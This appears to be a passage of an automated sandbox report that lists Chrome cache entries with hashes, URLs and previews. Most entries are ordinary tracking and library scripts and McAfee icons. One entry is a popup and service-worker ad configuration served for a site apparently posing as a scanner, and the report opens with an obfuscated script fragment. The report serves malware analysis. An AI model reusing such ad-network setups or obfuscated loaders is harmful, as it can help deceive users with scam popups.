Preview:	(function jPCYsKwACr(){qC();function hgm(){this["vZm"]=(this["vZm"]&0xffff)0xc2b2ae35+(((this["vZm"]>>>16)0xc2b2ae35&0xffff)<<16)&0xffffffff;this.BZm=LPm;}MDm();wPm();var UA=function(){if(sC["Date"]["now"]&&typeof sC["Date"]["now"]()==='number'){return sC["Date"]["now"]();}else{return +new (sC["Date"])();}};function EWm(a){return a.length;}var EZ=function(MI,fR){return MI+fR;};var JU=function(nb,U4){return nb[DI[lI]](U4);};var Kv=function(){KP=["\x07",".43\'!e,","Rk","\rJ.(2F/[..F","i.;)37","\\. X\v4&","\b;K Z.AI.;)76^j.\r^.C.%\x3fAnZ\x07AD\f93r0Ej\x07.P.F.","F.(f!Q. ^","\tM!V..K.0.4+Xj,\nH.F.$(","B>..IC\nD","..=\x3f\t","\x00;,t",")\t._\vD","\tD\f..","gYQ\b",".I.K","r.\t.R+\x40.>6Q","+Z)R","/\n8.#\" S<r\"6.\\.g\x07,\|/%","<16!R/\f\'x","\fT.I.(1","u",".O.1.77Y+..","+=0\|/.",".\'^#..b6G..9Q","7.^-W\n(\x3f",")\f\x00e.A..J/F.\x07KNc/4\'p..\x00\\.z;95H\'F.","..2J P",".K.$/V+Q..D",".V;(D#\|..K.<;","G","L.;+.-P/","o....)a-k\fL+B..",".L./\x3fK","z\x000)..\f.N.","I.01h","#.\x00\x00","\'\x07.

Chrome Cache Entry: 517

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1579)
Category:	downloaded
Size (bytes):	10448
Entropy (8bit):	5.143670832450589
Encrypted:	false
SSDEEP:	192:4bFnNojImVVMDK3TXvUcgbRmYaUsL5t3UhNzT5Qad9FMjnpBu4x0allS45/2vNnT:4lNsImVVMDKDBgFAUI5t3UPgM1
MD5:	40B1A7FD4331022C9017F8B1AB9FCF3B
SHA1:	909BA815C3DDCD134F6364BDD00F4C109AF9EF73
SHA-256:	29AF7BC45DDA0139782DD5660173277682BC5872B76F4EBE139124FA61914782
SHA-512:	0EB1CFF0C9812141A4E6964C35EBE938E1C24CDE715F76681F823C7619162F0986D561D48A61387645566D7EE20342CECF1157646FCEA0AC9C42EB9AC07BB6E4
Malicious:	false
Reputation:	low
URL:	https://tags.tiqcdn.com/utag/mcafee/consumer-display/prod/utag.516.js?utv=ut4.39.202409111541
Preview:	//tealium universal tag - utag.516 ut4.0.202409111541, Copyright 2024 Tealium.com Inc. All Rights Reserved..try{(function(id,loader){var u={"id":id};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}.var match=/ut\d\.(\d)\../.exec(utag.cfg.v);if(utag.ut.loader===undefined\|\|!match\|\|parseInt(match[1])<41){u.loader=function(o,a,b,c,l,m){utag.DB(o);a=document;if(o.type=="iframe"){m=a.getElementById(o.id);if(m&&m.tagName=="IFRAME"){b=m;}else{b=a.createElement("iframe");}o.attrs=o.attrs\|\|{};utag.ut.merge(o.attrs,{"height":"1","width":"1","style":"display:none"},0);}else if(o.type=="img"){utag.DB("Attach img: "+o.src);b=new Image();}else{b=a.createElement("script");b.language="javascript";b.type="text/javascript";b.async=1;b.charset="utf-8";}if(o.id){b.id=o.id;}for(l in utag.loader.GV(o.attrs)){b.setAttribute(l,o.attrs[l]);}b.setAttribute("src",o.src);if(typeof o.cb=="function"){if(b.addEventListener){b.addEventListener("load",function(){o.cb();},false);}else{b.onreadystatecha

Chrome Cache Entry: 518

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5674)
Category:	downloaded
Size (bytes):	19553
Entropy (8bit):	5.448477811145886
Encrypted:	false
SSDEEP:	384:dfNsImVVMFdWa9Yp+pJh2r0i4k3UenbEqPd2r8cu:dfKViYp+TsLVbEA2r8cu
MD5:	922E5B3976624DC6BA1FE753908282DE
SHA1:	A1C8F0C46089E15B4AD03B2B85F32E20891D1CBE
SHA-256:	A446DC1EF9C594642CA348B6180C5B59DDFA497740C6B6A8326937CA1A354DBF
SHA-512:	C3B2B58B433597AA9D24C0DFFD25D29175534224BE8F2DB994D39530CCA80CAED4CC95B88150495051FFF5F399E593F514450CFF3B3BD10354E7994DAF708AAF
Malicious:	false
Reputation:	low
URL:	https://tags.tiqcdn.com/utag/mcafee/consumer-display/prod/utag.548.js?utv=ut4.39.202409111541
Preview:	//tealium universal tag - utag.548 ut4.0.202409111541, Copyright 2024 Tealium.com Inc. All Rights Reserved..try{(function(id,loader){var u={"id":id},md5;utag.o[loader].sender[id]=u;utag.globals=utag.globals\|\|{};if(utag.ut===undefined){utag.ut={};}.var match=/ut\d\.(\d)\../.exec(utag.cfg.v);if(utag.ut.loader===undefined\|\|!match\|\|parseInt(match[1])<41){u.loader=function(o,a,b,c,l,m){utag.DB(o);a=document;if(o.type=="iframe"){m=a.getElementById(o.id);if(m&&m.tagName=="IFRAME"){b=m;}else{b=a.createElement("iframe");}o.attrs=o.attrs\|\|{};utag.ut.merge(o.attrs,{"height":"1","width":"1","style":"display:none"},0);}else if(o.type=="img"){utag.DB("Attach img: "+o.src);b=new Image();}else{b=a.createElement("script");b.language="javascript";b.type="text/javascript";b.async=1;b.charset="utf-8";}if(o.id){b.id=o.id;}for(l in utag.loader.GV(o.attrs)){b.setAttribute(l,o.attrs[l]);}b.setAttribute("src",o.src);if(typeof o.cb=="function"){if(b.addEventListener){b.addEventListener("load",function(){o.cb(

Chrome Cache Entry: 519

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, ASCII text, with very long lines (65103)
Category:	dropped
Size (bytes):	208830
Entropy (8bit):	5.36375421773599
Encrypted:	false
SSDEEP:	3072:n63vLCI7MHSwd6PPtHG+IKJ4KKKT+BseNLZHLGq:EvLGSDG+GKHcsVq
MD5:	F0586F2C8BB45ED80B89D8FA074D4AA6
SHA1:	7BC3B845441CE99AD3BA7317E6B157A55B77072A
SHA-256:	4DAFC5D60A0CDC3B677A4CD543239BEAD37D550F86D89EC5210935BA15872CE1
SHA-512:	C2C5B4EA577C95AEC552F70BF781B1C7FE2DDE9DCBFD79EF1C60D9D40F7683FDDEC3EFC7EF2B3B0D792730A1EC3DDFCF0D2B1CEC452EF8369E59528EC05B4701
Malicious:	false
Reputation:	low
Preview:	/. Copyright (c) 2011, Yahoo! Inc. All rights reserved.. * Copyright (c) 2011-2012, Log-Normal, Inc. All rights reserved.. * Copyright (c) 2012-2017, SOASTA, Inc. All rights reserved.. * Copyright (c) 2017, Akamai Technologies, Inc. All rights reserved.. * Copyrights licensed under the BSD License. See the accompanying LICENSE.txt file for terms.. /./ Boomerang Version: 1.737.0 2a2100df1b53afe0d7b2fa2b8918deb614f87015 */..BOOMR_start=(new Date).getTime();function BOOMR_check_doc_domain(e){if(window){if(!e){if(window.parent===window\|\|!document.getElementById("boomr-if-as"))return;if(window.BOOMR&&BOOMR.boomerang_frame&&BOOMR.window)try{BOOMR.boomerang_frame.document.domain!==BOOMR.window.document.domain&&(BOOMR.boomerang_frame.document.domain=BOOMR.window.document.domain)}catch(t){BOOMR.isCrossOriginError(t)\|\|BOOMR.addError(t,"BOOMR_check_doc_domain.domainFix")}e=document.domain}if(e&&-1!==e.indexOf(".")&&window.parent){try{window.parent.document;return}catch(t){try{document.doma

Chrome Cache Entry: 520

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	89476
Entropy (8bit):	5.2896589255084425
Encrypted:	false
SSDEEP:	1536:AjExXUqrnxDjoXEZxkMV4SYSt0zvDD6ip3h8cApwEjOPrBeU6QLiTFbc0QlQvakF:AYh8eip3huuf6IidlrvakdtQ47GK1
MD5:	DC5E7F18C8D36AC1D3D4753A87C98D0A
SHA1:	C8E1C8B386DC5B7A9184C763C88D19A346EB3342
SHA-256:	F7F6A5894F1D19DDAD6FA392B2ECE2C5E578CBF7DA4EA805B6885EB6985B6E3D
SHA-512:	6CB4F4426F559C06190DF97229C05A436820D21498350AC9F118A5625758435171418A022ED523BAE46E668F9F8EA871FEAB6AFF58AD2740B67A30F196D65516
Malicious:	false
Reputation:	low
URL:	https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"o

Chrome Cache Entry: 521

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, ASCII text, with very long lines (65103)
Category:	dropped
Size (bytes):	209939
Entropy (8bit):	5.366006952026174
Encrypted:	false
SSDEEP:	3072:1P6RsHIwj0PdUgdbs8kvdYkODdlm9AZoZXs+eSc:1msHIxHMvd8dtZoZDc
MD5:	FA4C76A7FDE62B18054CF7EB8E946012
SHA1:	B20150066A879D2B78DD3D4908F4ACD148EE66F8
SHA-256:	09EBD7F407439990AAC227E70DA23E1A819E8E30282928E324370805F480BEC4
SHA-512:	D72F5D078675C7ADBF6BFC1980712542A10668AEC9163137A2EC70A5E117F8FFDD0F06A6C4C6636E35C04F2754F33D40C65C59D452AFAA8EA4A382F24F200ABD
Malicious:	false
Reputation:	low
Preview:	/. Copyright (c) 2011, Yahoo! Inc. All rights reserved.. * Copyright (c) 2011-2012, Log-Normal, Inc. All rights reserved.. * Copyright (c) 2012-2017, SOASTA, Inc. All rights reserved.. * Copyright (c) 2017, Akamai Technologies, Inc. All rights reserved.. * Copyrights licensed under the BSD License. See the accompanying LICENSE.txt file for terms.. /./ Boomerang Version: 1.720.0 b17966bb92f8ac2ddcda4ac1d9c0aaea6d2eda7b */..BOOMR_start=(new Date).getTime();function BOOMR_check_doc_domain(e){if(window){if(!e){if(window.parent===window\|\|!document.getElementById("boomr-if-as"))return;if(window.BOOMR&&BOOMR.boomerang_frame&&BOOMR.window)try{BOOMR.boomerang_frame.document.domain!==BOOMR.window.document.domain&&(BOOMR.boomerang_frame.document.domain=BOOMR.window.document.domain)}catch(t){BOOMR.isCrossOriginError(t)\|\|BOOMR.addError(t,"BOOMR_check_doc_domain.domainFix")}e=document.domain}if(e&&-1!==e.indexOf(".")&&window.parent){try{window.parent.document;return}catch(t){try{document.doma

Chrome Cache Entry: 522

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.4713544870139303
Encrypted:	false
SSDEEP:	3:dRYtyn:Tuyn
MD5:	34C520D87664032692C4315FFF455D18
SHA1:	978C8B03E97680EB62057A7000F6E7FD97FB9658
SHA-256:	C40AA69F0B306CEA296DD1193C334BC0781587ED51AAB579C0433698BA9E0C4B
SHA-512:	BC6ECF7B39E2C5882C693072A7F541A7C03117A28D14067FED6FDAB6BD455FD8E79C6FE9B81FDF327E64814B91ACEE6F9C1A62134C32CF39731477B712466F38
Malicious:	false
Reputation:	low
Preview:	Method Not Allowed.

Chrome Cache Entry: 523

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	324
Entropy (8bit):	7.008481864343796
Encrypted:	false
SSDEEP:	6:Mk5ZgliCeMfvzOh/t8YKhDufrEkb2OAn4DtsKR8zHSj6PHsxsHUy8Q9y5:M13esvzOh/tJKFtV45sAmyj6PHsx8UtD
MD5:	F5CC8495CA482E92675FC49BE9BA823E
SHA1:	DD6A8F09B9C38A815DC9F83BAD1437AD43996AD1
SHA-256:	5D359CC257B02A8FD4E6D7376CA424D8B8074156832772960B38341134BBB43F
SHA-512:	E9917ECA71AA4DADD6E96EA94230D5B4DD081179E8478D397639E4FCD242F88F7E356B92AC7C27416ACF8134F6C63DF963512FF910D2B6DB10C130E259D0C598
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/content/dam/ipz/feyncart/image/icons/icon4.png
Preview:	RIFF<...WEBPVP8X..............ALPH.......m.........yKk;.U...V.Q(-...~....\|..........X:6%.x..$p+.-..............\,....0.....Kz...C.P...Y4E.0..T...x.G...Y..C..G....G.Ss(.Z......@...C.N4..i[.. .8E..........l.....P..)g.D...`I.G2..T..^.c.$.VP8 B........*....>.T.L'.."0.....ik..6Z.....;..........&]..9Xxm/qT.&.t..

Chrome Cache Entry: 524

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	dropped
Size (bytes):	89476
Entropy (8bit):	5.2896589255084425
Encrypted:	false
SSDEEP:	1536:AjExXUqrnxDjoXEZxkMV4SYSt0zvDD6ip3h8cApwEjOPrBeU6QLiTFbc0QlQvakF:AYh8eip3huuf6IidlrvakdtQ47GK1
MD5:	DC5E7F18C8D36AC1D3D4753A87C98D0A
SHA1:	C8E1C8B386DC5B7A9184C763C88D19A346EB3342
SHA-256:	F7F6A5894F1D19DDAD6FA392B2ECE2C5E578CBF7DA4EA805B6885EB6985B6E3D
SHA-512:	6CB4F4426F559C06190DF97229C05A436820D21498350AC9F118A5625758435171418A022ED523BAE46E668F9F8EA871FEAB6AFF58AD2740B67A30F196D65516
Malicious:	false
Reputation:	low
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"o

Chrome Cache Entry: 525

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2485)
Category:	downloaded
Size (bytes):	26275
Entropy (8bit):	5.302311916278162
Encrypted:	false
SSDEEP:	768:so/MPtWU9YwUpxbY/Y3YOgQYeYZYHYZYVY+YSYSnusIV54b2XLFFjCKw7v:RIT7sZwuvL54WAcl/j
MD5:	D20843BFFFE5413A78E2BB73D449BF12
SHA1:	A937D81546E717B52FC99B9B6AD5C3B671A0AE94
SHA-256:	62205DCAEC90A77E1669B8DB09F69685D863C033DA820DB1B86C11D3B4D0C785
SHA-512:	08A5DDF161E9482B2A5F85F178C499B525F98F7A1AE080E362FB582534CF63DF7EC13F2ED8F10D778C624C18897082E1D89BC7F242B057477AB5940C7B64DBE5
Malicious:	false
Reputation:	low
URL:	https://connect.facebook.net/signals/config/479551210773800?v=2.9.170&r=stable&domain=www.mcafee.com&hme=d82868061a8c707cd31395a3055e7449daa03bd520872727258c39e6af34523e&ex_m=70%2C120%2C106%2C110%2C61%2C4%2C99%2C69%2C16%2C96%2C88%2C51%2C54%2C171%2C174%2C186%2C182%2C183%2C185%2C29%2C100%2C53%2C77%2C184%2C166%2C169%2C179%2C180%2C187%2C130%2C41%2C34%2C142%2C15%2C50%2C193%2C192%2C132%2C18%2C40%2C1%2C43%2C65%2C66%2C67%2C71%2C92%2C17%2C14%2C95%2C91%2C90%2C107%2C52%2C109%2C39%2C108%2C30%2C93%2C26%2C167%2C170%2C139%2C28%2C11%2C12%2C13%2C6%2C7%2C25%2C22%2C23%2C57%2C62%2C64%2C75%2C101%2C27%2C76%2C9%2C8%2C80%2C48%2C21%2C103%2C102%2C104%2C97%2C10%2C20%2C3%2C38%2C74%2C19%2C85%2C56%2C83%2C33%2C73%2C0%2C94%2C32%2C82%2C87%2C47%2C46%2C86%2C37%2C5%2C89%2C81%2C44%2C35%2C84%2C2%2C36%2C63%2C42%2C105%2C45%2C79%2C68%2C111%2C60%2C59%2C31%2C98%2C58%2C55%2C49%2C78%2C72%2C24%2C112%2C199%2C198%2C200%2C205%2C206%2C207%2C203%2C195%2C131%2C162%2C194%2C196%2C121%2C156%2C144%2C150%2C188%2C189%2C128%2C231%2C115%2C126%2C232%2C164%2C118%2C234%2C165%2C135%2C122%2C153%2C147%2C113%2C127
Preview:	/*. Copyright (c) 2017-present, Facebook, Inc. All rights reserved... You are hereby granted a non-exclusive, worldwide, royalty-free license to use,.* copy, modify, and distribute this software in source code or binary form for use.* in connection with the web services and APIs provided by Facebook... As with any software that integrates with the Facebook platform, your use of.* this software is subject to the Facebook Platform Policy.* [http://developers.facebook.com/policy/]. This copyright notice shall be.* included in all copies or substantial portions of the software... THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS.* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR.* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER.* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN.* CONNECTION WI

Chrome Cache Entry: 526

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 46 x 49, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2209
Entropy (8bit):	7.88807509254723
Encrypted:	false
SSDEEP:	48:zKKWxJqF6rvHcryRYj2/+VEJDdDjUjqVu/F:gxJq6jHciYj21Jx82eF
MD5:	92C11EB37DEBC753BBEF5B37737F6C42
SHA1:	096EA2F8CD466E421AD6D0E054C749B2B8C4DBD6
SHA-256:	FB19DAF97389C5A8B0FD4C9C6B3E51E9EDDEB23E9BEFCA39EF4D6B065CC30A4B
SHA-512:	BC772A5569EA4233F9D3E62161D7D000955D93F43015E0DC21BE93FD5746B619F9EF5DB3EF7C8228221D1433B83C38A3806D71957819CB23FC206A4F849FB586
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......1......9.y....orNT..w.....sRGB........NIDATh...V........Cn.p...L1@.`F~\...U...........7.?.x..O+x)D....T.....J.eN..I0.I (.....&..\|..=...A.R..a.ZU5Lkj.D.s..\|?........:.-..N6......~..h.T...X~...M..Z.X]-nE.5..?....R^...1...w.D...U.....}...Q.D.U.?.3h....!....q."..s;.@"R...}+.+....6.......}...M.q{3.7....c.a....Q6..E.q..}Z....hn..Z!.....+p..Y.]U.0Md1...U...9....ut..B..ZG..-k.\|...s#.X]+.9.#.......U." ..u..t..d...5.....~..c.........&.....Mg=.t6H./..#.+..s.28......0.O....3......f.>.U.y....w.}s..=.AJ,.....OH......C...\|.T...h.q(.K8.\..ui...,..........q4.l0w,.....+......e.J.n6..$Vc.o.....`.M0.4.....\|..w+.........lkFI..L.L.`0.F..~.i..T..p/......>G.#.m.K..o8.\|>c.\|.9.I..Oj....."...V.N.....c...q....t.o.:...9./.3....._3.p..x..%`k..}K[.......#.....w.9D.\\..K.t..%.\|t..-.~:c......V...0..wkk..E..c..0.....a@..X........i.c.....G.b8..j.....&.M...@....W...5}.xEw.G.h....#..m>(........].8...ar~.[$....>../..t.....L.....h...M.8zQ...I2.f..jI.

Chrome Cache Entry: 527

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	1004
Entropy (8bit):	6.661913208978267
Encrypted:	false
SSDEEP:	24:rGDc/jcauHMm+/AVVk5Ikkv6IPo8NlSoA6I03vVFo:rGo/jOdVVVk5Ik4o3oq0fVi
MD5:	10554A8B3C345A3CC83018381C6543E3
SHA1:	5CBD9CAF80CB02BF1C7A20AE58B750C56CCCE8B0
SHA-256:	B255975DC89108F734D7123766410E7B1ED1CE3821C9706FFB70F6F0672F297C
SHA-512:	E869254566796BBC17753D3C699772B9A71E44F3A6C023CB0D949E23DE56FEFFFC3E03536C913562C61629B2542E810256A61743758E6B7905012C3F3F5E0CE6
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/content/dam/ipz/feyncart/image/icons/free_up_space_icon.png
Preview:	....ftypavif....avifmif1miaf....meta.......!hdlr........pict.................pitm.........4iloc....D@.........................................8iinf..........infe........av01.....infe........av01.....iprp....ipco....colrnclx...........av1C........ispe.......0...1....pixi.........8auxC....urn:mpeg:mpegB:cicp:systems:auxiliary:alpha.....av1C........ispe.......0...1....pixi............ipma..........................iref........auxl.........8mdat......o..@2...@<.@.j.}.f..l:B.W.A..)P...&...K.....O.6h^.T..F X.89e.....U.;....F..:.>E..7.5E...{%.F#k.lyn.4:d.e)._.\."D.M...{./.x_e.f...6..d.z.-..?/.CD.U..A...M.a....s.d.S&..7.~6.g.M..z.....(.W...6.MBR/.R.5.Y...M.%FF..;.......7........R..&.4...<.y..%...q..s.M.7.....^...........o......2...@.<...../.......w...T)j......wO83@.tN...`..1.......P.f..iG{.g{....i.g.V.!......{h....%...G...A...c...k....N..#.G...aS..mw..9 ....M.+o*{x...].)..7...6..6...v.J.......-...L1.J..S.........)......~Q\|/...."..z..&.#.I.....:.gL.........#..g.......4.

Chrome Cache Entry: 528

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1048)
Category:	downloaded
Size (bytes):	2158
Entropy (8bit):	5.250861792482297
Encrypted:	false
SSDEEP:	48:W1az2WNX6IMj5wB/tOYpfNpIaW9wqFHQJUG6sK:W174XejuB/tw6CHQJUG6sK
MD5:	9DF9B95B2F94B6274A2AE9F72F0C77CE
SHA1:	AAC035F97F8A594C3494F1D3408759F3DF90719F
SHA-256:	348C6643B265333646015EB04A8E460B1093A89EE0B93DABF51409FED6475BCD
SHA-512:	60BDFC578CA1BA21E7318C68890A3AC19D7EB5F52AD0DEBA238BBCCED02E42149BE54EE61BDB5D7419739894892FAD9581BAF54D861EBF2D9A2B2FFE464521B4
Malicious:	false
Reputation:	low
URL:	https://tags.tiqcdn.com/utag/mcafee/consumer-display/prod/utag.547.js?utv=ut4.39.202409111541
Preview:	//tealium universal tag - utag.547 ut4.0.202409111541, Copyright 2024 Tealium.com Inc. All Rights Reserved..try{(function(id,loader){var u={};utag.o[loader].sender[id]=u;if(utag===undefined){utag={};}if(utag.ut===undefined){utag.ut={};}if(utag.ut.loader===undefined){u.loader=function(o){var a,b,c,l;a=document;if(o.type==="iframe"){b=a.createElement("iframe");b.setAttribute("height","1");b.setAttribute("width","1");b.setAttribute("style","display:none");b.setAttribute("src",o.src);}else if(o.type==="img"){utag.DB("Attach img: "+o.src);b=new Image();b.src=o.src;return;}else{b=a.createElement("script");b.language="javascript";b.type="text/javascript";b.async=1;b.charset="utf-8";b.src=o.src;}if(o.id){b.id=o.id;}if(typeof o.cb==="function"){if(b.addEventListener){b.addEventListener("load",function(){o.cb();},false);}else{b.onreadystatechange=function(){if(this.readyState==="complete"\|\|this.readyState==="loaded"){this.onreadystatechange=null;o.cb();}};}}l=o.loc\|\|"head";c=a.getElementsByTagNa

Chrome Cache Entry: 529

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.4713544870139303
Encrypted:	false
SSDEEP:	3:dRYtyn:Tuyn
MD5:	34C520D87664032692C4315FFF455D18
SHA1:	978C8B03E97680EB62057A7000F6E7FD97FB9658
SHA-256:	C40AA69F0B306CEA296DD1193C334BC0781587ED51AAB579C0433698BA9E0C4B
SHA-512:	BC6ECF7B39E2C5882C693072A7F541A7C03117A28D14067FED6FDAB6BD455FD8E79C6FE9B81FDF327E64814B91ACEE6F9C1A62134C32CF39731477B712466F38
Malicious:	false
Reputation:	low
Preview:	Method Not Allowed.

Chrome Cache Entry: 530

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1437)
Category:	downloaded
Size (bytes):	2742
Entropy (8bit):	5.34937676811082
Encrypted:	false
SSDEEP:	48:B1z4nPWNnR6IMI+wB/eCtOAHAwFZBe3qMIEG37WwuuSHwUnxHQJUG6sHl:B1cnP4ReIZB/oUAgZBBXRrWwuuSQuxHq
MD5:	130B3FFCDA760B8E024147BA2F94D5D9
SHA1:	F0BC21EDCC979DFF0E7B6B05A450A9F57DCDFA47
SHA-256:	6B3070EFAD68BD4F94CB7D9E2BDDBDF6D7A702C5736504D9BBEB7FD59381350D
SHA-512:	AF977DB2892D90EE4F9FFE2C6F2E22072946E50C1955757A9DD9715FA5F8878AF1F21B2C1E60F606AE4D32E242CAE2599C538674D8C7FF3C8DA0D90D35F6FB8B
Malicious:	false
Reputation:	low
URL:	https://tags.tiqcdn.com/utag/mcafee/consumer-display/prod/utag.557.js?utv=ut4.39.202409111541
Preview:	//tealium universal tag - utag.557 ut4.0.202409111541, Copyright 2024 Tealium.com Inc. All Rights Reserved..try{(function(id,loader){var u={};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}.if(utag.ut.loader===undefined){u.loader=function(o){var b,c,l,a=document;if(o.type==="iframe"){b=a.createElement("iframe");o.attrs=o.attrs\|\|{"height":"1","width":"1","style":"display:none"};for(l in utag.loader.GV(o.attrs)){b.setAttribute(l,o.attrs[l]);}b.setAttribute("src",o.src);}else if(o.type=="img"){utag.DB("Attach img: "+o.src);b=new Image();b.src=o.src;return;}else{b=a.createElement("script");b.language="javascript";b.type="text/javascript";b.async=1;b.charset="utf-8";for(l in utag.loader.GV(o.attrs)){b[l]=o.attrs[l];}b.src=o.src;}if(o.id){b.id=o.id};if(typeof o.cb=="function"){if(b.addEventListener){b.addEventListener("load",function(){o.cb()},false);}else{b.onreadystatechange=function(){if(this.readyState=='complete'\|\|this.readyState=='loaded'){this.onreadystatechange=null;

Chrome Cache Entry: 531

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	565
Entropy (8bit):	5.005634208261935
Encrypted:	false
SSDEEP:	12:YWyb5yWHURwX2JIWhvSC5x5OVGBARPs/zwAzLiCPmkOrlv:Yt59URwX2Jphtv52bR4rzLiMmkOJ
MD5:	8C368E992A028B1B7244142AE93B8F21
SHA1:	9F1C052619A155FBC28EB29AE700CB2921F4F84D
SHA-256:	8227AC74C1BE8BCAB903C3DC25D758FE5760C5A5008D8B618510B3D70E506A16
SHA-512:	D827BA64F501A1577B994DDBED6032CE416E51275B03835F94150DAF7A34543D78B52E1179E1E287799E4F67B582A7EDCCB4A742519AC99A80F510F1A89A54DC
Malicious:	false
Reputation:	low
URL:	https://redrotou.net/zone?pub=0&zone_id=6508804&is_mobile=false&domain=beta-scan.site&var=&ymid=&var_3=&var_4=&dsig=&tg=1&sw=3.1.560&trace_id=afd3b0fa-fea6-4dbc-aad1-0dc291521744&action=settings&ch=eyJhcmNoaXRlY3R1cmUiOiJ4ODYiLCJiaXRuZXNzIjoiNjQiLCJicmFuZHMiOlt7ImJyYW5kIjoiR29vZ2xlIENocm9tZSIsInZlcnNpb24iOiIxMTcifSx7ImJyYW5kIjoiTm90O0E9QnJhbmQiLCJ2ZXJzaW9uIjoiOCJ9LHsiYnJhbmQiOiJDaHJvbWl1bSIsInZlcnNpb24iOiIxMTcifV0sImZ1bGxWZXJzaW9uTGlzdCI6W3siYnJhbmQiOiJHb29nbGUgQ2hyb21lIiwidmVyc2lvbiI6IjExNy4wLjU5MzguMTQ5In0seyJicmFuZCI6Ik5vdDtBPUJyYW5kIiwidmVyc2lvbiI6IjguMC4wLjAifSx7ImJyYW5kIjoiQ2hyb21pdW0iLCJ2ZXJzaW9uIjoiMTE3LjAuNTkzOC4xNDkifV0sIm1vYmlsZSI6ZmFsc2UsIm1vZGVsIjoiIiwicGxhdGZvcm0iOiJXaW5kb3dzIiwicGxhdGZvcm1WZXJzaW9uIjoiMTAuMC4wIiwid293NjQiOmZhbHNlfQ==
Preview:	{"status":true,"code":"jsTagParameters","unsupported":false,"afterCloseDelay":3,"allowPopupIfHttpsDenied":true,"customParamsGeo":"us","customParamsIp":"8.46.123.33","domain":"https://jouteetu.net","forceStandalone":true,"injections":null,"install_ctx":{"country_code":"us"},"resources":{},"mobileSupport":true,"popupHeight":310,"popupShow":true,"popupWidth":510,"pubZoneId":6508804,"key":null,"swName":"sw-26ac0.js","wildcardDomain":"agagaure.com","zoneId":6508804,"skinUrl":"/3bT/27mJf/defaultSkin.min.js","popupUrl":"/3bT/27mJf/popup.html","flags":{},"extra":{}}.

Chrome Cache Entry: 532

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
